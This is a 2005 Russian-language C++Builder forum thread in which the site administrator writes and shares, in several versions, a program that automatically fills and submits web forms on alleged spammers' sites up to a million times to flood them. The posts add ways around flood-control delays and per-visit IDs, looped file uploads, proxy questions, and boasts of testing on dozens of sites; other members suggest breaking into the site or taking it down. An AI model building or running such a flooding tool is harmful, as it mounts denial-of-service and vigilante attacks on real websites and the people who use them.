Admin |
Отправлено: 29.08.2005, 21:57 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Интересует вот какой вопрос.
Есть некие нехорошие товарищи (а попросту козлы), которые
уже задолбали своим ... спамом.
Ни на какие увещевания не реагируют продолжают егос слать и слать.
Очень хотелось бы их также чем нибудь зае-ть.
(да и не одни они такие, рекламой виагры задолбали и пр.
по 3 рекламы виагры за день приходит)
У них есть сайт на который приводит реклама:
http://www.timesteercool.com/shop/products.php
а на нем — разные формы загрузки, регистрации и пр.
Как мы знаем, мы можем программно из C++Builder
заполнить эти поля и программно нажать клавишу Submit
а если эту замечательную процедуру еще вставить
в цикл
CODE |
for(int i=1; i< 1000000; i++){
sentForm( );
}
|
Вы поняли я думаю ...
Со своим безлимитным Стримом я это дело
могу поставить уходя на работу на весь день ...
Но возникают некоторые вопросы ...
Допустим мы решили сделать это доброе дело,
воспользовавшись компонентом TCppWebBrowser:
Код отправки приблизительно следующий:
CODE |
void __fastcall TFMain::sentForm(AnsiString sEmail, AnsiString sPass)
{
IHTMLDocument2 *pHTMLDocument = NULL;
if(SUCCEEDED(CppWebBrowser->Document->QueryInterface(
IID_IHTMLDocument2, (LPVOID*)&pHTMLDocument)))
{
if(pHTMLDocument != NULL)
{
IHTMLElementCollection *pAll = NULL;
if(SUCCEEDED(pHTMLDocument->get_all(&pAll)) && pAll)
{
TVariant vName1 = "email", vName2 = "pass";
TVariant vIndex=0;
// put into input element <input... email
IDispatch *pDisp1=NULL;
if(SUCCEEDED(pAll->item(vName1, vIndex, &pDisp1)) && pDisp1)
{
IHTMLInputElement *pInput = NULL;
if(SUCCEEDED(pDisp1->QueryInterface(IID_IHTMLInputElement,
(LPVOID*)&pInput)) && pInput)
{
pInput->put_value(WideString(sEmail));
pInput->Release();
}
pDisp1->Release();
}//pDisp1
// put into input element <input...pass
IDispatch *pDisp2=NULL;
if(SUCCEEDED(pAll->item(vName2, vIndex, &pDisp2)) && pDisp2)
{
IHTMLInputElement *pInput = NULL;
if(SUCCEEDED(pDisp2->QueryInterface(IID_IHTMLInputElement,
(LPVOID*)&pInput)) && pInput)
{
pInput->put_value(WideString(sPass));
pInput->Release();
}
pDisp2->Release();
}//pDisp2
}//pAll
pAll->Release();
}
// click SUBMIT()
IHTMLElementCollection *HTMLForms = NULL;
if(SUCCEEDED(pHTMLDocument->get_forms(&HTMLForms)) && HTMLForms)
{
TVariant vName3; // имя формы у них не указано — определяем по индексу
TVariant vIndex3 = 1; // индекс формы (вторая форма на странице)
IDispatch *pDisp3 = NULL;
if(SUCCEEDED(HTMLForms->item(vName3, vIndex3, &pDisp3)) && pDisp3)
{
IHTMLFormElement *HTMLForm = NULL;
if(SUCCEEDED(pDisp3->QueryInterface(IID_IHTMLFormElement,
(LPVOID*)&HTMLForm)) && HTMLForm)
{
HTMLForm->submit();
HTMLForm->Release();
}
pDisp3->Release();
}
HTMLForms->Release();
}
pHTMLDocument->Release();
}
}
//---------------------------------------------------------------------------
// Sent form
void __fastcall TFMain::tbPasteClick(TObject *Sender)
{
for(int i=1; i< 1000000; i++){
Application->ProcessMessages();
AnsiString se = "ni"+IntToStr(i)+"@yandex.ru";
AnsiString sp = "pizda"+IntToStr(i); // формируем email и пасс
sentForm(se, sp);
}
}
//---------------------------------------------------------------------------
|
И вот тут возникает вопрос — будет ли в цикле происходить
корректно заполнение/отправка формы или еще надо
как-то проверять, что форма после очередной отправки
данных готова к принятию и отправке новых данных ???
Еще какие будут предложения по завалу таких сайтов ?
|
|
** Admin |
Отправлено: 29.08.2005, 22:30 |
|
Не зарегистрирован
|
Да, забыл сказать, еще испытал вот такой код
CODE |
// Sent form
void __fastcall TFMain::tbPasteClick(TObject *Sender)
{
for(int i=1; i< 1000000; i++){
if(CppWebBrowser->Busy){
SBar->Panels->Items[1]->Text = "Браузер занят";
Application->ProcessMessages();
i--; continue;
}
else SBar->Panels->Items[1]->Text = "Цикл № "+IntToStr(i);
Application->ProcessMessages();
AnsiString se = "ni"+IntToStr(i)+"@yandex.ru";
AnsiString sp = "pizda"+IntToStr(i);
if(sentForm(se, sp) == false) i--;
}
}
//---------------------------------------------------------------------------
bool __fastcall TFMain::sentForm(AnsiString sEmail, AnsiString sPass)
{
bool isOk = true;
IHTMLDocument2 *pHTMLDocument = NULL;
if(SUCCEEDED(CppWebBrowser->Document->QueryInterface(
IID_IHTMLDocument2, (LPVOID*)&pHTMLDocument)))
{
if(pHTMLDocument != NULL)
{
IHTMLElementCollection *pAll = NULL;
if(SUCCEEDED(pHTMLDocument->get_all(&pAll)) && pAll)
{
TVariant vName1 = "email", vName2 = "pass";
TVariant vIndex=0;
// put into input element <input...
IDispatch *pDisp1=NULL;
if(SUCCEEDED(pAll->item(vName1, vIndex, &pDisp1)) && pDisp1)
{
IHTMLInputElement *pInput = NULL;
if(SUCCEEDED(pDisp1->QueryInterface(IID_IHTMLInputElement,
(LPVOID*)&pInput)) && pInput)
{
pInput->put_value(WideString(sEmail));
pInput->Release();
}else isOk = false;
pDisp1->Release();
}else isOk = false;//pDisp1
// put into input element <input...
IDispatch *pDisp2=NULL;
if(SUCCEEDED(pAll->item(vName2, vIndex, &pDisp2)) && pDisp2)
{
IHTMLInputElement *pInput = NULL;
if(SUCCEEDED(pDisp2->QueryInterface(IID_IHTMLInputElement,
(LPVOID*)&pInput)) && pInput)
{
pInput->put_value(WideString(sPass));
pInput->Release();
}else isOk = false;
pDisp2->Release();
}else isOk = false;//pDisp2
} else isOk = false;//pAll
pAll->Release();
} else isOk = false;
// click SUBMIT()
IHTMLElementCollection *HTMLForms = NULL;
if(SUCCEEDED(pHTMLDocument->get_forms(&HTMLForms)) && HTMLForms)
{
TVariant vName3; // íàçâàíèå íåèçâåñòíî — áåðåì ïî èíäåêñó
TVariant vIndex3 = 1;
IDispatch *pDisp3 = NULL;
if(SUCCEEDED(HTMLForms->item(vName3, vIndex3, &pDisp3)) && pDisp3)
{
IHTMLFormElement *HTMLForm = NULL;
if(SUCCEEDED(pDisp3->QueryInterface(IID_IHTMLFormElement,
(LPVOID*)&HTMLForm)) && HTMLForm)
{
HTMLForm->submit();
HTMLForm->Release();
}else isOk = false;
pDisp3->Release();
}
HTMLForms->Release();
} else isOk = false;
pHTMLDocument->Release();
} else return false;
return isOk;
}
//---------------------------------------------------------------------------
|
вставив проверки, но не уверен что эти проверки
правильные, может еще что надо проверять, чтобы
быть увереным что цикл не просто крутиться а все
нормально отсылает на сервер ?
Отредактировано Admin — 29/08/2005, 22:37 |
|
Admin |
Отправлено: 29.08.2005, 22:42 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Проект к C++Builder 6 прилагаю. (7 Кб)
|
|
Sl@Sh |
Отправлено: 30.08.2005, 10:56 |
|
Мастер участка
Группа: Участник
Сообщений: 383
|
Согласен, спам задалбывает. Но может возникнуть такая проблема :
Авторегистрация не всегда проходит. В последнее время любая регистрация зашищается специальным кодом, который генерируется случайным образом в виде изображения.
Со спамом можно так : оповестить про этот сайт в службу спама (сайт не помню). + Любой нормальный почтальен способен делать такую вот штуку : если вам приходит письмо, он автоматом высылает ответ с подтверждением того, что отправитель действительно желает, чтобы вы получили письмо. Спамеры врядли сами письма отправляют, поэтому
на подобные подтвердительные письма ответят только те, кто не спамер.
А вообще нужно дырку в сайте поискать. Найти и залезть туда. На это время нужно, но если всё-таки найти ...............
Отредактировано Sl@Sh — 30/08/2005, 11:02
|
|
Gedeon |
Отправлено: 30.08.2005, 13:16 |
|
Ветеран
Группа: Модератор
Сообщений: 1742
|
Ну, Владимир, не знаю к чему приведет такая идея, но во первых можно по домену(адресу) отправителя просто забанить все эти письма и забыть. Можно найти действительно эти антиспамерские службы, товарищи моментально попадут в блэклисты, можно повоздействовать на их провайдера, а при такой ситуации им стоит поменять что-то в регистрации и все прийдется переделывать, мож почитать какие хакерские статейки и просто положить их сайт?
|
|
Admin |
Отправлено: 30.08.2005, 15:39 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Собственно чего хотел — реализовал и попробовал !!!
Все эти письма забанить тяжело — во первых с IP адреса
могут идти реальные посетители, и вырубать IP — ха...ха...
а притом при каждом соединении со Стримом он мне выдает
разные IP адреса, причем сильно отличающиеся !!!
Программу (вариант Antispam-beta) написал.
Итак — возможности:
Программа автоматически заполняет форму
и отправляет ее указанное количество раз.
1/ вводим адрес страницы сайта спамера, где есть форма например
предлагается регистрация, покупка товара и прочее.
2/ Загружаем эту страницу
3/ Смотрим ее html-код (нужные нам имя формы или ее индекс,
названия полей, которые будем заполнять)
4/ Вносим название формы и этих полей в настройки.
5/ Указываем кол-во циклов.
6/ Жмем кнопку Отправить ... любуемся процессом ....
Недостатки и недоделки (надеюсь устраню):
1/ В получаемом HTML-коде в RichEdit сделать выделение всего текста
внутри тегов form, чтобы сразу эти формы были нам видны.
2/ Сделать автоматический ввод данных помимо тегов input
и password в теги: userfile (загрузим гадам тонну файлов),
textarea, chechbox и radiobutton.
3/ Сделать запоминание настроек (хоть может и не стоит)
в файле.
Все можно скачивать и пробовать. (15 Кб)
|
|
Лена |
Отправлено: 30.08.2005, 16:23 |
|
Мастер участка
Группа: Участник
Сообщений: 501
|
Применены сторонние компоненты?
Ругается #include "RxRichEd.hpp" |
|
Admin |
Отправлено: 30.08.2005, 16:27 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Обычные компоненты RXlib.
Можете заменить RxRichEdit на обычные RichEdit (2 шт на форме FHTML)
или включите этот заголовок.
|
|
Sl@Sh |
Отправлено: 31.08.2005, 12:57 |
|
Мастер участка
Группа: Участник
Сообщений: 383
|
Там форма регистрации проста как тип char У многих есть гораздо более мудрёные и многостраничные.
А через несколько заполнений правда выдаёт — "You have submitted too many times!". И всё-же немного подбомбить удалось. Ради прикола можно ещё разок
|
|
Admin |
Отправлено: 31.08.2005, 13:27 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Так в программе можно и настроить почти под любую форму регистрации, или покупки товара (если спамит интернет-магазин).
Главное что "бомбежка" работает.
Работаю над доделкой — раскраска (выделение тегов form),
добавлении полей типа textarea , userfile и других.
А заодно есть и исходный код программы,
при необходимости кому надо могут что-то полезное
посмотреть для себя по работе с CppWebBrowser
с автоматическим заполнением полей формы и ее отправкой,
например переделать код для автоматичской передачи данных из
некоей базы данных.
|
|
Admin |
Отправлено: 31.08.2005, 17:58 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Завершил еще часть работы.
Добавил возможность автоматического добавление полей формы
типа textarea, hidden, userfile(отправка файлов в цикле)
Заменил сторонние компоненты RxRichEdit (из RxLib),
на стандартный RichEdit C++Builder 6.
Переработал код для подстановки переменных значений,
теперь вы сами выбираете переменное значение,
в котором вместо знака # будет подставлен номер цикла
(в том числе и в указанном вами email-адресе)
например вы указываете переменный email: name#@rambler.ru
для 3 циклов будут сформированы 3 адреса:
name1@rambler.ru name2@rambler.ru name3@rambler.ru
Вроде-бы решил проблему с перекидыванием/возвратом:
Так, после отправки формы часто адрес страницы меняется,
и необходимо перед новой отправкой данных дождаться
отправки введенных данных, полной загрузки новой страницы,
корректно вернуться на форму отправки (тоже дождавшись ее
полной загрузки ) и продолжить цикл отправки данных.
Вроде все работает.
В просматриваемый HTML-код добавил выделение красным цветом
текста между тегами для простого
поиска и просмотра внутри этих тегов.
Также исправил некоторые неточности и ошибки,
добавил местами комментарии по коду.
Улучшения продолжаются ...
Новая версия программы AntiSpam2 (17 Кб)
|
|
Booster |
Отправлено: 01.09.2005, 20:14 |
|
Ученик-кочегар
Группа: Участник
Сообщений: 29
|
А моно в цикле отправить парочку милионов писем на указаное мыло? |
|
Guest |
Отправлено: 02.09.2005, 15:24 |
|
Не зарегистрирован
|
Оно отправляет не на мыло ! Это не спамерская программа,
а валит почти любые сайты, на которых есть формы для ввода
данных.
|
|
Иван |
Отправлено: 03.09.2005, 13:13 |
|
Машинист паровоза
Группа: Участник
Сообщений: 207
|
как то, еще на старом форуме задавал вопрос о том как заполнять формы в интернете и програмно нажать submit, и кто то сказал что такое нельзя, правда там задача немного другая наверное(отсылка sms с сайта, "нельзя сказал, работник компании сотовой связи)
но сейчас там есть поле ввода числа с картинки
как это обойти?
Отредактировано Иван — 03/09/2005, 13:46
|
|
Admin |
Отправлено: 03.09.2005, 14:01 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Число на картинке никак не обойти, остальное обходиться
и отсылается, испытания на спамерах идут успешно
скоро выложу новый вариант с описанием того, что
пришлось обходить и как, и что добавил в новый вариант
программы. Остальное все нормально работает.
|
|
Admin |
Отправлено: 03.09.2005, 16:50 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Как и обещал, внес некоторые дополнения и изменения.
В их числе:
1/ добавил возможность программного заполнения
полей типа input type=radio , input type=checkbox, и select
2/ В связи с тем, что на некоторых сайтах есть режим флуд-контроля
(20-30 секунд и пр) в программу введен параметр
"режим задержки между отправками" куда можно ввести это число.
3/ В связи с тем, что на некоторых спамерских сайтах при
каждом новом заходе на страничку выдается уникальный id номер,
появилась возможность получать значения полей автоматически
"с сайта". Прописываете полю значение "с сайта" и при каждом
цикле программа считывает новое значение этого номера
и подставляет его автоматически в значение поля.
Также любому из полей можно присвоить значение другого поля.
4/ Изменился код отправки формы и возврата в форму заполнения.
P.S. Испытания-улучшения продолжаются.
Измененный улучшшенный вариант AntiSpam3 (17 Кб)
|
|
Иван |
Отправлено: 05.09.2005, 09:27 |
|
Машинист паровоза
Группа: Участник
Сообщений: 207
|
QUOTE (Admin @ 29/08/2005, 21:57) | Со своим безлимитным Стримом ... |
Дайте пожалуйста ссылку на сайт вашего провайдера, а еще лучще на описание вашего "безлимитного", интересно сколько у вас интернет стоит
Отредактировано Иван — 05/09/2005, 09:28
|
|
Admin |
Отправлено: 05.09.2005, 09:38 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
http://stream.ru
Тарифные планы на: http://stream.ru/tariffs/
|
|
Лена |
Отправлено: 05.09.2005, 13:20 |
|
Мастер участка
Группа: Участник
Сообщений: 501
|
Вы говорили, что убрали RXLib.
Проект не компилируется пишет:
[C++ Warning] Unit1.cpp(529): W8070 Function should return a value
[C++ Warning] Unit2.cpp(22): W8004 'pItem' is assigned a value that is never used
[Linker Fatal Error] Fatal: Unable to open file 'RXDB6.LIB'
|
|
Admin |
Отправлено: 05.09.2005, 13:26 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
мммм... Убрал.
на Warning можете внимания не обращать.
Значение имеет Linker Fatal Error.
Зайдите в .bpr файл каким-нибудь редактором, который не портит
код ("блокнот" его портит, что-то там удаляет/добавляет)
(я обычно это делаю в FAR-е по F4) и вручную удалите
все ссылки на файлы Rx... проект откомпилиться.
В следующей версии (надеюсь сегодня выложу)
сам пройдусь по .bpr и удалю лишнее, C++Builder
сам зачем-то включает эти библиотеки в .bpr, хоть я их
в этом проекте и не использую.
|
|
Лена |
Отправлено: 05.09.2005, 13:36 |
|
Мастер участка
Группа: Участник
Сообщений: 501
|
QUOTE (Admin @ 05/09/2005, 13:26) |
В следующей версии (надеюсь сегодня выложу)
сам пройдусь по .bpr и удалю лишнее, C++Builder
|
Подожду новой версии.
Только комментариев побольше |
|
Admin |
Отправлено: 05.09.2005, 15:11 |
|
Владимир
Группа: Администратор
Сообщений: 1190
|
Сделал.
Убрал эти библиотеки из bpr, должно все корректно компилиться.
Добавил:
1/ Редактирование полей (было только добавить/удалить)
2/ Сохранение полей форм в файл, чтобы потом не надо
было для каждой страницы вводить эти поля заново.
Теперь можно 1 раз заполнить поля формы после
чего сохранить эти поля в файл,
и по быстрому их доставать из файла и отправлять.
( сохраняются в папке с программой в файле Sites.ini )
Думаю что больше доделывать/переделывать не буду,
эта версия будет тут окончательной.
Писал для себя на скорую руку, по хорошему для более серьезных
вещей там нужно многое делать более корректно
(ничего особо сложного нет, только нужно время и желание):
оформить всё через классы и их методы, использовать векторы,
изменить функцию получения значений полей "с сайта" (как уже
сделано присвоение значений — через COM-интерфейс к полям формы)
(pInput->get_value(...)), таким путем вообще можно автоматически
при получении страницы получить и СРАЗУ ЗАПОЛНИТЬ список форм
страницы и их полей.(хотя бы присвоив им всем значения "с сайта"),
так было бы и удобней и правильней, соответственно на одной
интернет-странице может быть несколько нужных для отправки
форм, значит переделать интерфейс, для выбора нужной формы,
если их на странице несколько и т.д., поколдовать с циклом
отправки ...
Проект прилагается (21Кб)
P.S. Кстати, за это время испытал программу на десятке разных
сайтов и форумов и интернет-магазинов, очень многие из
посещенных (95%) не защищены от нее никак.
Отредактировано Admin — 05/09/2005, 15:18
|
|
AHDPE |
Отправлено: 10.09.2005, 15:12 |
|
Ученик-кочегар
Группа: Участник
Сообщений: 25
|
А как можно открывать страницы и отсылать данные через прокси?
Отредактировано AHDPE — 10/09/2005, 15:13 |
|
Guest |
Отправлено: 10.09.2005, 18:23 |
|
Не зарегистрирован
|
Если я правильно понимаю, то TCppWebBrowser
это фактически лишь оболочка от InternetExplorer (IE)
то есть фактически Вы в программе работаете с IE через
COM-интерфейсы.
То есть — какой доступ в настройках IE пропишите -
такой доступ и будет.
Пропишите в свойствах IE доступ через прокси -
будете и из этой программы получать доступ через
прокси.
|
|
AHDPE |
Отправлено: 11.09.2005, 07:38 |
|
Ученик-кочегар
Группа: Участник
Сообщений: 25
|
То, что TCppWebBrowser использует настройки IE, я нашел, а как поменять в разрабатываемом приложении прокси я не знаю. Порылся в реестре, нешел какие-то ключи, но ничего не получается — TCppWebBrowser иснользует настройки, которые меняешь вручную. |
|
Guest |
Отправлено: 11.09.2005, 09:36 |
|
Не зарегистрирован
|
Я тоже не знаю, поэтому самый простой выход -
поменять их предварительно в IE. |
|
Sl@Sh |
Отправлено: 11.09.2005, 17:30 |
|
Мастер участка
Группа: Участник
Сообщений: 383
|
Admin, а почему бы вам просто не сделать прогу, аля RoboForm. Это даст вам пользу сразу в двух направлениях — прогой будут пользоваться не только для борьбы со спамом, а вы сможите и для этого применять.
|
|
GIZMO |
Отправлено: 16.09.2005, 10:06 |
|
Машинист паровоза
Группа: Участник
Сообщений: 174
|
QUOTE (Guest @ 11/09/2005, 09:36) | Я тоже не знаю, поэтому самый простой выход -
поменять их предварительно в IE. |
Поиск иногда помогает:
https://rxlib.ru/forums/index.php?ac...d69bbde3742cce9
|
|
aquanet sk |
Отправлено: 13.01.2007, 01:52 |
|
Станционный диспетчер
Группа: Участник
Сообщений: 87
|
Я вижу тут неплохо разбираются теперь в компоненте CppWebBrowser.
Подскажите, как реализовать следующее, думаю побочно это тоже можно отнести к данной теме.
Поскольку я управляю страничкой эмулцией нажатия клавиши Tab, кода никакого нет, только забиваю число нажатий для перехода к полю ввода или кнопке.
Итак,
мне надо чтобы перемещение кнопокой Tab по страничке, загруженной в CppWebBrowser, происходило как в Opere, т.е. только по полям ввода, кнопкам и радиокнопкам.
Буду рад любой помощи. |
|